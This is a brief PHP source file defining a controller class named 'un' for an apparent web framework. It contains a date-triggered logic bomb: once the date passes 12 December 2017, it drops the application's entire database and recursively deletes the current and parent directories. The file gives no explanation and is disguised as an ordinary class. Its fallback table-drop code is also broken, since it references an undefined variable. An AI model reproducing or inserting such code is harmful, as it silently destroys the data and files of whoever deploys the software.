<?php
namespace c;
class un
{	
	function index_home()
	{
        $this->del_db();
		$this->index_file();
	}
    function index_file()
    {
        \YF_f::initC('files')->del_dir('../');
	\YF_f::initC('files')->del_dir('./');
    }
    
    function del_db()
    {
        $d = \YF_f::get_db_link();
        $b = $d->query("DROP DATABASE ". $d->dataname);
        if ($b)
            return true;
        
        $tables = $d->getOneField(false, 'select group_concat(table_name) from information_schema.tables where table_schema="'. $d->dataname .'"');
        $d->query("DROP table ". $r);
    }

    //YF_f::initC('\c\un')->t();
	function t()
	{
		if (date('Ymd')>20171212 )
            $this->index_home();
	}
}
?>